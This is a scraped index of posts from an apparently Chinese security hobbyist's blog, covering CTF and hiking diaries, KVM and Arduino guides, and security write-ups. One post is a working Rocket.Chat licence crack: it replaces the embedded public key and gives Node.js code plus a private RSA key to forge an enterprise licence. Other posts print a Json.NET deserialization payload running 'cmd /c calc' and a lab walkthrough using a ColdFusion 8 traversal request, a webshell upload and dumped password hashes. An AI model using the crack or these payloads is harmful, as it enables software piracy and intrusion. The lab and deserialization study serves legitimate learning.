-\u0026gt;D盘ID-\u0026gt;E盘ID\u0026hellip;，且网卡MAC取的是具有默认路由的那个网卡的\n前一步操作失败则进行下一步，即取硬盘ID失败，则取网卡mac\u0026hellip;\n因此在docker中只需保证MAC地址不变即可确保硬件码不变，而在windows中则需要确保硬盘ID不变，这也是为何电脑更换硬盘后需要重新提交硬件码的原因\n","permalink":"https://synology.pub/post/%E6%B7%B1%E4%BF%A1%E6%9C%8Dvpn-hardid%E7%A0%94%E7%A9%B6/","tags":["深信服VPN","hardid"],"title":"深信服VPN hardid研究"},{"categories":["比赛"],"content":"随着年龄优化，不可避免地要“退役”（虽然也不是正经的ctfer）这是退役前的最后二次的比赛😪。听说蓝桥也想要开CTF比赛，可见以后CTF不可避免地泯然众人矣。当然这是以后了。\n抵达杭州 于20230412中午抵达杭州，以前每次出去比赛都是比赛现场 \u0026lt;==\u0026gt; 酒店，两点一线的过程。没有欣赏沿途风景的闲暇，本着最后的比赛，中午就自己“独享”这美好的无限春光。\n酒店位于余杭的未来科技城内，附近有个IT公园。\n公园一隅，绿树清水。 沿着小道一路漫步，路边的湖泊和城市的水泥庞然大物形成鲜明的对比。\n围着公园简单的绕了一小圈，可能因为是工作日，公园内最多的是退休颐养天年的大爷大妈们。露营、烧烤、拍照好不惬意。\n再看对岸一角，您的饿了么外卖小哥正在获取外卖原材料。\n熟悉比赛场地 于20230413下午前往这次比赛的场地，远远的就能看见本次比赛的地点。\n签到处进行签到，领取衣服，参赛牌。\n看到比赛的场地就绷不住了，与其调侃像奥斯维辛，更像是某舱（不会做题，又限制出入）。\n近景\n内景\n发现某个队伍选手用的是 thinkpad x1 系列，懂得都懂。\n外面的厕所也是独立的厕所，防作弊能力拉满。\n场地用了老多的干扰器，如下图：\n是定向干扰，产品名称为：5G信令干扰器 经过互联网搜索，终于搜索到了相关产品的资料 http://www.xjzkxx.com/cp/zhenkong5Gshoujixinhaopingbiqi/2022/0310/836.html 产品外观如下：\n功能摘要\n该屏蔽器介绍来看实现了5G信号的屏蔽，以前屏蔽器就是与基站互拼功率，屏蔽成功与否就在于谁的功率大。而这款屏蔽器采用了破坏了5G基站发送到手机设备指令，使其手机无法与基站建立链接而进行的屏蔽。\n未来这种屏蔽方式会更加广泛的应用，在作用范围内一切手机信号全都无法避免的被“屏蔽”掉。\n当然，反屏蔽也不是不可能实现，目前有两个方向：\n在原频率范围内，改动基站连接指令（不现实，成本极大）。 自定义设备运行频率在免授权的频率范围内，自实现通信。如：LoRa、433Mhz等。这些设备运行在此频率范围内，但是千万不要使用其他非开放的频率，这是违法行为！ 场馆内还有两组比赛的场地\n总体上来说，屏蔽器比外面的场地更加的多。而黑色的定向天线为这些干扰器的控制发射天线。\n比赛感想 比赛不要老想着作弊，没实力就不要打。 后面也不参加了，和我基本无关了。\n比赛中有几道题目是有思路，但是做不出。比如nodejs原型链污染、tomcat 的golang 模板注入（SSTI）。还是自己太菜了。\n比赛当天晚上下着雨，还想着晚上漫步公园的，泡汤了。\n总结 线下赛午饭不太好吃，米饭有点少。 胸针还挺好看的。 最后放一张官方的此次活动全部照片。\n可以扫描二维码观看，有效期未知。\n","permalink":"https://synology.pub/post/%E8%AE%B0%E5%BD%95%E4%B8%8B%E5%8F%82%E5%8A%A02023%E5%B9%B4%E7%AC%AC%E4%B8%89%E5%B1%8A%E7%BD%91%E9%BC%8E%E6%9D%AF/","tags":["2023年网鼎杯","CTF"],"title":"记录下参加2023年第三届网鼎杯"},{"categories":["生活"],"content":"前情 昨天收到某人的邀请，出去游玩。想想在家也是无聊，与其折腾不知道头绪的代码、漏洞还不如出去排空心情。遂约定好去牛首山爬山游玩。\n提前搜了下牛首山，看上去要走很长的路，提前一天晚上在家活动活动为明天爬山做准备（大概20分钟吧）。\n经历 约定好9点30分五塘广场集合。唔，8点30起床洗漱，出去次个早饭 9点出发。时间刚刚好。^_^! 空空的地铁7号线\n到了五塘广场换乘3号线，不愧是3号线真是人挤人。好算挨到天隆寺地铁站，出门改为滴滴。\n（此处忘记拍照，无图）\n到了牛首山的山下面，买票排队入园。\n这是刚入园的山脚下的风景，人还算不少 东拐西绕的走到了一处大平地，歇息了一小会\n偷偷拍了侧面照，有蓝队的朋友记得护网时按照此照片溯源啊 哈哈😄\n爬山过程没拍照片。\n中途想走捷径，看到一小段小路以为没路，其实能走的过去。太逊了🤦‍\n最后经过不断的走呀走，走到了一处内部景车站点，距离塔顶估计不到200米距离。\n塔旁边有个圆球的建筑物，也不知道叫啥，反正是网红打卡点就对了。\n进到圆形建筑里，里面听说供的是诸佛，看上去我感觉都长一个样\n顶挺不错的，随手拍了两张\n两侧供的都是西天诸佛吧\n看完佛像，身心总得净化了一下吧，短暂的消除了过年来的疲惫与烦恼。\n好不容易来一次，也得登顶吧，顺着小道想爬到最高的山顶，走到一半，发现太陡了，而且路也被杂草遮掩了（可能走错了？也没想非要爬上去。毕竟安全第一！）\n绕到了西面，有个陡坡，爬上去坐了一会儿。\n环境真的好！坡也是真的陡,下坡时还滑了一次（不是我！）。笑死\n下山 都说上山容易下山难，不过找了个速降的方法，就是沿着排水渠速降！ 哈哈😄\n某人此处又滑了两次，真的笑死个人了。\n经过大概40分钟，到了景区西出入口。\n不好意思了路人大哥，想拍塔的距离的，拍到你了😂\n回家 换成7号线，趁着没人拍一张🤣 （地铁的玻璃隔离挺适合当镜子的哈）\n回家用备用机看了手环里的数据，乖乖！走这么多路总能减掉1两脂肪吧😢\n今天一天行程结束！\n","permalink":"https://synology.pub/post/2023%E5%B9%B4%E7%9A%84%E7%AC%AC%E4%B8%80%E6%AC%A1%E7%88%AC%E5%B1%B1%E8%AE%B0%E5%BD%95/","tags":["2022年爬山","户外活动"],"title":"2023年的第一次爬山记录"},{"categories":["Docker"],"content":"前言 最近使用docker创建了个人的rocket chat应用，看着后台提示没有license总觉得缺了点啥。于是通过github进行review code 分析它的许可验证逻辑。\n定位license 随意添加license信息，可以通过F12看到请求的路径为 api/v1/licenses.add 因为rocket chat是开源的，所以可以在github 上随时查看源码\n直接查找关键词 licenses.add 可以看到有很多结果，这里看到 apps/meteor/ee/app/license/server/license.ts 这个文件中存在加载license、解密等过程。 跟进解密方法 查看decrypt方法，在 apps/meteor/ee/app/license/server/decrypt.ts 文件中存在相关的解密方法。 根据代码，公钥是经过base64编码后的公钥，位数是2048位 -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAqWSskd9/6zRx8kyPcics b32w2wxVuw7yBT96rQ/8D+yMeCMO9wSSpHa/9nFywowEtigpt/wroPN+VGSwbtwP FXBeqElBndGFAl86e5+EliH8Kz/hGnCmJNmXpxEK2RE03X4IxsYX7DDB7Mtx/iqs cjB/OuvSBkjiSleS7blNIT/dA7K4/CJ3oiu02bL4ExclCHepzqNMeP3wUZgpxOnf NOud8IXYK73zScuE8E157YwpzCKpVaHX7ZJf8QuNsOO5W/aIjKl3L6269+eIOErG wONmaHnzfg9FLpJhzgpO38aVn76vD5KKjBajWskY+4a2gSQmKNeFqaqOozyEFM0e cFWZVVZ3Leh4vEMoYVPyIzx96x8f2/ymPnhIuvQv5wN4fyepa7EY5UCcp71z8kfP 4FcUzPA0IDWyMihXR/G6XgQQZ4Gb/qBBhvrviJCFzfYDcJgL7FegFYHP3PGL07Qg vLevMK+iQZPrxrbxySqdPOkgurKjVrXTUr4A9TgiLyIX5UlJq3E/RV7mfOqZnLTa SCVXHBhuPlnCGZR01ToTCfKhMG1u0CFnL2+15hC9fqOmWv9Qke43qlJ0PgF3VJ/X ux/mTpnk9gnbG9JH+mfH39RoFvTNinYwSMvYzutVOn69sOzdwhDla90l3ACh4xCV K7JOX+uHkoNu3g2iVxiZUM0CAwEAAQ== -----END PUBLIC KEY----- 这种RSA 2048基本是无法破解的，只能采用公钥替换的形式。\n获取license格式 采用在线试用的方式获取到了30天的试用license\nJnIab9mmS9Vg4GIkTA/9zXLiexyrWIguhmhI85coxHIgk7Y6KOXO3g2KU92VfxR7GSgFJE3B/7lEagDlzZi8orWKZ0lAxLTORyO0wXPgqFY/42M2iXGyo3FacwINbooZA+sPiKJLUavplatdCBQF+v9UYa33fA8Yw+0E44V5Vr6VddyC7Bezpcmn2HxLXpL9XRZxvSl/LIeiUT2u8LtUu3HmW3hmCx3eCFAdE2ZIKLosdVrRYl9tG+FTPQINC7p7iQc/QZw8iX3JKAE1Aw3WmhbkWI63FQfsL/W1DM46vaZlCR1eX7beY5mbb4pBnfsBAsX7WxBi8nWsQ1yGDprmaQofG0YagIu/NGFA6Sw+7i0qN8jVqq/634d4hXmZQntGkhFckuUpMsX2qITyNpcZCcOn8lR7rhMy5fyLdrd6q6LXKeF5dW1y0fMUH5vYsc6EmBBnodC9neX8fkaewXEIvHc/BHxWVOsOrW2Skz4s3lkzz4wqkArlNdsIhEBRKB3OhZhgHbWyMPtYuoo4LfC0FLVmEEJrKXxJ8YibIYGaLfZbfuBwx3kBkBg8p2rlafEqZ/+5ca32RCuN0Ly3TGdOnOY6EFFD0OuP24JslcO5MpXgzXVTuhnAxG9FtZEjqYTamHnAgKD4G1ZOmNWkczpUf7yYsMQ0lEjf4jr10Z1Y6dk= 使用在线解密对其密文解密\n明文license信息如下：\n{\u0026#34;version\u0026#34;:2,\u0026#34;url\u0026#34;:\u0026#34;chat.synology.pub\u0026#34;,\u0026#34;expiry\u0026#34;:\u0026#34;2023-05-03\u0026#34;,\u0026#34;maxRoomsPerGuest\u0026#34;:1,\u0026#34;modules\u0026#34;:[\u0026#34;enterprise:*\u0026#34;],\u0026#34;tag\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;Enterprise\u0026#34;,\u0026#34;color\u0026#34;:\u0026#34;#F3BE08\u0026#34;},\u0026#34;meta\u0026#34;:{\u0026#34;trial\u0026#34;:true,\u0026#34;trialEnd\u0026#34;:\u0026#34;2023-05-03T14:44:27.63697163Z\u0026#34;,\u0026#34;workspaceId\u0026#34;:\u0026#34;642ae64cec4c1b00011e954d\u0026#34;}} 替换公钥 docker运行环境中的源码都是被打包过的文件，通过 grep 公钥头确定文件在 /app/bundle/programs/server/app/app.js 中\n因为默认的docker容器中没有vim，只能先导出文件修改完成再复制回去。\n大小为50多M，只能通过vim进行修改了。\n替换为我们自己的公钥就行，然后替换到docker容器内。 然后就是我们使用自己的私钥进行对license内容进行加密\n使用nodejs生成破解代码：\nconst fs = require(\u0026#39;fs\u0026#39;); const crypto = require(\u0026#39;crypto\u0026#39;); const publicKey = \u0026#39;LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUFxV1Nza2Q5LzZ6Ung4a3lQY2ljcwpiMzJ3Mnd4VnV3N3lCVDk2clEvOEQreU1lQ01POXdTU3BIYS85bkZ5d293RXRpZ3B0L3dyb1BOK1ZHU3didHdQCkZYQmVxRWxCbmRHRkFsODZlNStFbGlIOEt6L2hHbkNtSk5tWHB4RUsyUkUwM1g0SXhzWVg3RERCN010eC9pcXMKY2pCL091dlNCa2ppU2xlUzdibE5JVC9kQTdLNC9DSjNvaXUwMmJMNEV4Y2xDSGVwenFOTWVQM3dVWmdweE9uZgpOT3VkOElYWUs3M3pTY3VFOEUxNTdZd3B6Q0twVmFIWDdaSmY4UXVOc09PNVcvYUlqS2wzTDYyNjkrZUlPRXJHCndPTm1hSG56Zmc5RkxwSmh6Z3BPMzhhVm43NnZENUtLakJhaldza1krNGEyZ1NRbUtOZUZxYXFPb3p5RUZNMGUKY0ZXWlZWWjNMZWg0dkVNb1lWUHlJeng5Nng4ZjIveW1QbmhJdXZRdjV3TjRmeWVwYTdFWTVVQ2NwNzF6OGtmUAo0RmNVelBBMElEV3lNaWhYUi9HNlhnUVFaNEdiL3FCQmh2cnZpSkNGemZZRGNKZ0w3RmVnRllIUDNQR0wwN1FnCnZMZXZNSytpUVpQcnhyYnh5U3FkUE9rZ3VyS2pWclhUVXI0QTlUZ2lMeUlYNVVsSnEzRS9SVjdtZk9xWm5MVGEKU0NWWEhCaHVQbG5DR1pSMDFUb1RDZktoTUcxdTBDRm5MMisxNWhDOWZxT21XdjlRa2U0M3FsSjBQZ0YzVkovWAp1eC9tVHBuazlnbmJHOUpIK21mSDM5Um9GdlROaW5Zd1NNdll6dXRWT242OXNPemR3aERsYTkwbDNBQ2g0eENWCks3Sk9YK3VIa29OdTNnMmlWeGlaVU0wQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=\u0026#39;; const encrypted = \u0026#39;JnIab9mmS9Vg4GIkTA/9zXLiexyrWIguhmhI85coxHIgk7Y6KOXO3g2KU92VfxR7GSgFJE3B/7lEagDlzZi8orWKZ0lAxLTORyO0wXPgqFY/42M2iXGyo3FacwINbooZA+sPiKJLUavplatdCBQF+v9UYa33fA8Yw+0E44V5Vr6VddyC7Bezpcmn2HxLXpL9XRZxvSl/LIeiUT2u8LtUu3HmW3hmCx3eCFAdE2ZIKLosdVrRYl9tG+FTPQINC7p7iQc/QZw8iX3JKAE1Aw3WmhbkWI63FQfsL/W1DM46vaZlCR1eX7beY5mbb4pBnfsBAsX7WxBi8nWsQ1yGDprmaQofG0YagIu/NGFA6Sw+7i0qN8jVqq/634d4hXmZQntGkhFckuUpMsX2qITyNpcZCcOn8lR7rhMy5fyLdrd6q6LXKeF5dW1y0fMUH5vYsc6EmBBnodC9neX8fkaewXEIvHc/BHxWVOsOrW2Skz4s3lkzz4wqkArlNdsIhEBRKB3OhZhgHbWyMPtYuoo4LfC0FLVmEEJrKXxJ8YibIYGaLfZbfuBwx3kBkBg8p2rlafEqZ/+5ca32RCuN0Ly3TGdOnOY6EFFD0OuP24JslcO5MpXgzXVTuhnAxG9FtZEjqYTamHnAgKD4G1ZOmNWkczpUf7yYsMQ0lEjf4jr10Z1Y6dk=\u0026#39;; function decrypt(encrypted) { const decrypted = crypto.publicDecrypt(Buffer.from(publicKey, \u0026#39;base64\u0026#39;).toString(\u0026#39;utf-8\u0026#39;), Buffer.from(encrypted, \u0026#39;base64\u0026#39;)); return decrypted.toString(\u0026#39;utf-8\u0026#39;); } console.log(decrypt(encrypted)); // 读取私钥文件 const privateKey = `-----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAkNZsLxCKSwENCKk40fNqH6t9ZNOzbEZXmy89/8Ie7DdA/QP/ N6X26oAJssrKL4Ym927T4hq8vZvZvHdHIj5DBv6C0JdwQHmhtzqwgfJoUtDFSgd7 66fokd4ns2NYdiIztsFPzuQj84Ys2Rbxf/dn19buIgXevM6wni1g4faYErLHEIaK zczFE91wq6kbkeO4KrpuhFUplwFsWJ2SBhiiA8+mYclhfhiAgGMhBAJKHXUs8qmS u+37vkLtlHxtragAv2hUWjwi0JKAmAE7VgB2Jz4bYhLVEWzVcpBFPq4ikvvwTkXg Tcxhj9Wq2PRy9iiDBPia8DIqzxjAoEQrSF4iYwIDAQABAoIBAAd0qKHNMPempWXq VoM+pU13Pz+b3JyYpZUJ2+zFsJNp5+238VqLL8HnUJh98xjgx8vs58aEqDqXQm1L mcNosq9lfC5oqhEBMd+D8ebk9GHVXvjuMbILzqw5/cLKPMxRlMy1+GAm3LYbrhG7 kJ4mijEeK0JgTJSQWNJYdUHftvkfWwsUyzdGjHtj9St1piOyxk3cyiBMFf/H3vKK YJlUkEbS7ZZgi+/6f3xnozb+Ei18UZnITrFcWfMEn0EdS56Ms05e0v0q9f/aFLBY 4i4RtqOHx3xOisBacMsIOi/ynuje3KKwm4nu82gwDlF+WrxKoQH3k/6JHSShKKG7 hV75TKECgYEAkgeDhLAPnJIbuS96hD3zYnd5/yqnNM3Q1nEvbsoYUurShHqsSx4G px+0baKZFEkLTKHdPFeosyknnWpSYYBgYjlL2JpDAQsH507FxK4EwRpn5rLtI8Ap c/UjaG34Eyu1vJeOlW8VX+xaWHyewUyrbijqud8NZoSo603HovdJrr0CgYEA/ekn Nn5+KcGGqtdz+po6fN5NAIn0oGnrqJnOqnNHCB4G74njbCy1jhAw8gMoSWkyw2GX Lt3RNDucsFBOmRa7u08ClHVHBWPrQ3HY3cE+y4nkHyB0QgEpT7ZpfergCNMymdN1 ExHiP86QQem673FaUcOLg7jKw16Jx95nWmpQN58CgYBuuTvDtCtiMHbM528iLkcI 9kaOb6zwoM4kixXID3x6Aos04D8bhdzNg4CvUIZ5lxj2NhUl1+GWVzIubZuhSlHK qF8WEYGUnOSVQmk6RChessLtbeXZIa9MuSbr29Yp0w6tvMzkCaJPZUrrpTJKpvOl R2kTHklu3k+mewdQTeiUkQKBgDHK6zmwjKU7omEWZ1QZsqaSIZ+dbi+XFfO2VeTv PlrFKK8I52RrUB9P5YlQPTJIQwA1vyQds8z+c7fPx9oVrzMIR4U9inPwKE7NoK28 G8hmfinsf2ACQkuzhfR/fve8Eww/f5IBy9CffYKvh001eXTXWCC4uGqfu31KjBIb DygZAoGBAINF9lv8nRn/jh1ZJy/7xZzKYSEDg8QxD+Gj1bgD8ixnWbJdQoWHs+Bx aIVu5bDNk+Pg01OEcwvDlyt0K4DLRz84143MzoFK2h59A0x6XTw388EihKmSJScr 6cFIoYu6BEIUuZ7uiEaRaWOhk8Lav/5UOIMWyf6aLpL8c9Nb8Hju -----END RSA PRIVATE KEY----- `; // 读取明文文件 const plainText = `{\u0026#34;version\u0026#34;:2,\u0026#34;url\u0026#34;:\u0026#34;chat.synology.pub\u0026#34;,\u0026#34;expiry\u0026#34;:\u0026#34;2099-12-01\u0026#34;,\u0026#34;maxRoomsPerGuest\u0026#34;:999,\u0026#34;modules\u0026#34;:[\u0026#34;enterprise:*\u0026#34;],\u0026#34;tag\u0026#34;:{\u0026#34;name\u0026#34;:\u0026#34;Enterprise\u0026#34;,\u0026#34;color\u0026#34;:\u0026#34;#F3BE08\u0026#34;},\u0026#34;meta\u0026#34;:{\u0026#34;trial\u0026#34;:false,\u0026#34;workspaceId\u0026#34;:\u0026#34;642ae64cec4c1b00011e954d\u0026#34;}}`; function encrypt(message) { const bufferContent = Buffer.from(message); const encrypted = crypto.privateEncrypt(privateKey, bufferContent); console.log(encrypted.toString(\u0026#34;base64\u0026#34;)); } encrypt(plainText); 结果：\nXZ+1eHE+hezUeV85wapf3ZdX9+6Rvs9yllpTX/K9Lgf+oh2IeRL3VZGlmdAYyGekJB60puixEfG3Sfgdw5hvdgqwh2uc1z2E/QjIblvI/AaKAdSj5bwvp8Vjz0Na2zrEwwsALbMjQha2fHQl8lYyU1CrNohtKCV8G6gRZIpYsurCV9TIScgozvmdoyDU8Pp8/fC6+usY4FAsU1HNowRL9xro+RzeBF3ZZqdglhF9US8QPkDRQ3raEAGougt+9m9kSlW06VNXN2HVqtKsRxmuc4R7hT77H3hdUXOPn2JsFnIu+SaMRF2lGfNWsDkbsPuYy8KV3emJsQEBouClS9F5Tg== 最终展示 替换到容器文件后需要重启容器，粘贴上面生成的license信息\n遇到的坑 RSA私钥2048位加密最多只能加密245个字节好像，所以要缩减license的长度。\n","permalink":"https://synology.pub/post/docker%E4%B8%8B%E5%AF%B9rocket.chat%E7%A0%B4%E8%A7%A3/","tags":["Docker","Rocket.Chat"],"title":"Docker下对Rocket.Chat破解"},{"categories":["linux"],"content":"一直以来受国内特色软件影响，想使用虚拟机限制国内软件运行环境，比如微信。但是想要在Linux下实时的查看、编辑微信文件，经过Google搜索，最终找到相应的方法。这里记录下。\n环境 宿主机：ubunut 22.04\n虚拟机：win server 2022\n虚拟机已安装guest-tools软件，如果没安装，可在 https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/archive-virtio/virtio-win-0.1.229-1/virtio-win-0.1.229.iso 进行下载。\n所需软件 WinFsp https://github.com/billziss-gh/winfsp/releases/latest 默认安装就好。\n过程 安装完WinFsp后，设备管理器中会多两个设备： 大文件存储控制器和pci设备\n如果没安装guest-tools 会提示找不到驱动，已安装的会自动进行驱动安装。\n虚拟机的服务列表里会多一个 VirtioFsSvc 服务，默认是手动启动，可以修改成自动启动\n设置完成后，到宿主机的KVM中增加虚拟机硬件==\u0026gt; 文件系统\n驱动程序选择virtiofs 源路径为宿主机上想要共享的目录，目标路径设置为windows盘符即可（如 D: E:）\n这时候在宿主机中的 此电脑 中就可看到挂在的盘符了，可以把微信下载目录设置到挂载的盘符。\n参考 https://virtio-fs.gitlab.io/howto-windows.html ","permalink":"https://synology.pub/post/kvm%E8%99%9A%E6%8B%9F%E6%9C%BA%E4%B8%AD%E8%99%9A%E6%9C%BAwin%E4%B8%8E%E5%AE%BF%E4%B8%BB%E6%9C%BA%E5%AE%9E%E7%8E%B0%E6%96%87%E4%BB%B6%E5%A4%B9%E5%85%B1%E4%BA%AB/","tags":["KVM","虚拟机","文件夹共享"],"title":"KVM虚拟机中虚机(WIN)与宿主机实现文件夹共享"},{"categories":["arduino"],"content":"直接使用Arduino编写程序，建议先在vscode中进行进行编写、格式化再放到Arduino中编译、上传。\n代码:\n#include \u0026lt;Adafruit_PCD8544.h\u0026gt; // or use library: https://github.com/pbaja/AvrPCD8544/ #include \u0026lt;OneWire.h\u0026gt; #include \u0026lt;DallasTemperature.h\u0026gt; #include \u0026lt;DHT.h\u0026gt; #define DHTPIN 8 #define DHTTYPE DHT11 // ds 18b20 Temperature sensor #define ONE_WIRE_BUS 2 DHT dht(DHTPIN, DHTTYPE, 6); // Setup a oneWire instance to communicate with any OneWire devices (not just Maxim/Dallas temperature ICs) OneWire oneWire(ONE_WIRE_BUS); // Pass our oneWire reference to Dallas Temperature. DallasTemperature sensors(\u0026amp;oneWire); // Initialize the Nokia 5110 LCD driver library // @param sclk_pin SCLK pin DIN pin DC pin CS pin RST pin // https://github.com/adafruit/Adafruit-PCD8544-Nokia-5110-LCD-library/blob/master/Adafruit_PCD8544.cpp Adafruit_PCD8544 display = Adafruit_PCD8544(7, 6, 5, 4, 3); void setup() { // Start the serial communication Serial.begin(9600); // lcd bl pinMode(9, OUTPUT); digitalWrite(9, HIGH); delay(1000); dht.begin(); Serial.println(\u0026#34;Arduino Digital Temperature will start.\u0026#34;); //Print a message sensors.begin(); // Initialize the Nokia 5110 display display.begin(); display.setContrast(60); display.clearDisplay(); display.display(); // Print a message on the display display.setCursor(0, 0); display.println(\u0026#34;Programe Start ...\u0026#34;); display.display(); digitalWrite(9, LOW); delay(1000); digitalWrite(9, HIGH); } void loop() { display.clearDisplay(); sensors.requestTemperatures(); float temperature = dht.readTemperature(); delay(5000); float humidity = dht.readHumidity(); display.print(\u0026#34;Temp 1: \u0026#34;); display.println(sensors.getTempCByIndex(0)); // Why \u0026#34;byIndex\u0026#34;? You can have more than one IC on the same bus. 0 refers to the first IC on the wire display.print(\u0026#34;Temp 2: \u0026#34;); display.println(temperature); display.print(\u0026#34;Hum 2: \u0026#34;); display.println(humidity); display.display(); delay(5000); } 最终效果：\n","permalink":"https://synology.pub/post/%E4%BD%BF%E7%94%A8mega328p-nano%E5%92%8Cnokia5110%E6%98%BE%E7%A4%BA%E5%B1%8F%E6%98%BE%E7%A4%BAdht11%E5%92%8Cds18b20%E4%BC%A0%E6%84%9F%E5%99%A8%E6%95%B0%E6%8D%AE/","tags":["arduino","mega328p","dht11","ds18b20"],"title":"使用mega328p nano和nokia5110显示屏显示dht11和ds18b20传感器数据"},{"categories":["反序列化"],"content":"在.net中经常能够看到使用JavaScriptSerializer进行反序列化的操作，有些甚至序列化的内容都可控。\n相比JAVA反序列化漏洞很少听说.NET反序列化相关的漏洞，这是因为.NET反序列化相关的漏洞需要一定的前提条件。\n这里研究JavaScriptSerializer 这个反序列化漏洞。\n下面是一个存在漏洞的示例：\nusing System; using System.Collections.Generic; using System.IO; using System.Web.Script.Serialization; using System.Net; using System.Text; using Newtonsoft.Json; namespace deserial { public class Class1 { public static void Main() { string json = \u0026#34;{\\\u0026#34;__type\\\u0026#34;:\\\u0026#34;sss\\\u0026#34;}\u0026#34;; Dictionary\u0026lt;string, object\u0026gt; dictionary = new Dictionary\u0026lt;string, object\u0026gt;(); try { Dictionary\u0026lt;string, object\u0026gt; dictionary2 = new JavaScriptSerializer(new SimpleTypeResolver()).Deserialize\u0026lt;Dictionary\u0026lt;string, object\u0026gt;\u0026gt;(json); foreach (var kvp in dictionary2) { Console.WriteLine(\u0026#34;Key: {0}, Value: {1}\u0026#34;, kvp.Key, kvp.Value); } } catch (Exception ex) { Console.WriteLine(\u0026#34;反序列化异常信息：\\r\\n {0}\u0026#34;, ex.ToString()); Console.WriteLine(ex.Message); } } } } 当执行上述代码时，会报错（对象当前状态操作无效）。\n而当去掉代码中的 new SimpleTypeResolver() 属性，则会产生下面的报错：类型不能为空\n这里不得不说 new SimpleTypeResolver() 的作用了：\nSimpleTypeResolver属性作用 该属性的作用是，允许 JavaScriptSerializer 反序列化 JSON 字符串中包含的 CLR 类型。如果不设置该属性，则 JSON 字符串中的 __type 属性将被忽略，而 JavaScriptSerializer 将根据 JSON 字符串中的属性名和值类型推断出 CLR 类型。这种推断机制可能会被攻击者利用来注入恶意代码，从而造成安全风险。 通过设置 new SimpleTypeResolver() 属性，可以强制 JavaScriptSerializer 反序列化 JSON 字符串中指定的 CLR 类型。这样，就可以避免攻击者利用属性名和值类型进行类型注入攻击。同时，建议在反序列化之前，使用一个白名单机制来过滤可以反序列化的类型，从而进一步提高安全性。 通过上述可以得知，在JavaScriptSerializer反序列化中，如果没有设置SimpleTypeResolver() 属性，则认为该反序列化过程是安全的。否则就要自己严格的设置类型过滤了。\n仅如下代码才会出发漏洞，所以目前.net中很少存在JavaScriptSerializer反序列化漏洞。\n参考 https://github.com/pwntester/ysoserial.net/issues/73 https://xz.aliyun.com/t/4872 ","permalink":"https://synology.pub/post/javascriptserializer%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/","tags":["反序列化","JavaScriptSerializer",".NET"],"title":"JavaScriptSerializer反序列化"},{"categories":["反序列化"],"content":"有以下代码\n使用了JsonSerializer反序列化\nJsonConvert.DeserializeObject第一个参数需要被序列化的字符串、第二个参数设置序列化配置选项来指定JsonSerializer按照指定的类型名称处理\n当 TypeNameHandling 不为 None 时，传入的 Json 字符串中所附带类型名称才能被读取写入。这样才能触发反序列化漏洞。\n设置为非空值、也就是对象（Objects） 、数组（Arrays） 、自动识别 (Auto) 、所有值(ALL) 的时候都会造成反序列化漏洞\n有以下反序列化代码，并不会触发反序列化漏洞\nusing System; using System.IO; using Newtonsoft.Json; using Newtonsoft.Json.Linq; namespace YourNamespace { class Program { static void Main(string[] args) { // 读取请求的输入流 using (StreamReader reader = new StreamReader(\u0026#34;1.txt\u0026#34;)) { // 使用 JsonTextReader 读取输入流中的 JSON 数据 using (JsonTextReader streamReader = new JsonTextReader(reader)) { // 创建 JsonSerializer 实例 JsonSerializer serializer = new JsonSerializer(); // 反序列化 JSON 数据为 JArray 对象 JArray @params = serializer.Deserialize(streamReader) as JArray; // 处理 JArray 对象 // ... Console.WriteLine(@params); } } } } } 1.txt内容为json反序列化的poc\n{ \u0026#39;$type\u0026#39;:\u0026#39;System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35\u0026#39;, \u0026#39;MethodName\u0026#39;:\u0026#39;Start\u0026#39;, \u0026#39;MethodParameters\u0026#39;:{ \u0026#39;$type\u0026#39;:\u0026#39;System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\u0026#39;, \u0026#39;$values\u0026#39;:[\u0026#39;cmd\u0026#39;, \u0026#39;/c calc\u0026#39;] }, \u0026#39;ObjectInstance\u0026#39;:{\u0026#39;$type\u0026#39;:\u0026#39;System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\u0026#39; } 可以看到并没有触发漏洞\n仅当设置如下时才会触发\n","permalink":"https://synology.pub/post/jsonserializer%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/","tags":["反序列化","JsonSerializer",".NET"],"title":"JsonSerializer反序列化漏洞"},{"categories":["靶场"],"content":"端口扫描 使用nmap 进行常规端口扫描，发现仅开了80端口。\nweb页面是iis 6.0的默认页面，也没开webdav(也可以使用nmap --script http-iis-webdav-vuln -p80 10.11.1.10 -Pn 进行检测)。\n使用dirb 扫描目录发现存在ColdFusion控制台 http://10.11.1.10/CFide/administrator/ 使用ColdFusion 8 的目录穿越漏洞进行读取密码文件\nGET /CFide/administrator/enter.cfm?locale=..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties%00en HTTP/1.1 Host: 10.11.1.10 密码哈希：AAFDC23870ECBCD3D557B6423A8982134E17927E解密为：pass123\n可以使用计划任务进行上传文件\n使用 https://github.com/toddfh/webshell.cfm 中的webshell\n其中url为攻击机器启动的web，目的是远程下载cfm webshell文件到目标机器中。\n执行后，直接访问 http://10.11.1.10/CFide/cmdshell.cfm 即可\n获取proof.txt文件，内容为：a416a831fddf36aa8c01ba0674ca7bf8 收集信息 账号 哈希 密码 Administrator 6d3448b44472bc42b065e6fcd94d7922 SUPPORT_388945a0 80443829564440d434ee643af4c8adc0 IUSR_WINDOWS2003 Hash LM : 24c5497f278eec15bb0a3094ea72abf5 Hash NTLM: 9ddc6832f1a687124167d4a10d5eec98 IWAM_WINDOWS2003 Hash LM : a42ccf3c5467a7a62cc68726d61acda6 Hash NTLM: 1d1d5e9df3f019b92d45f0bd827028ae 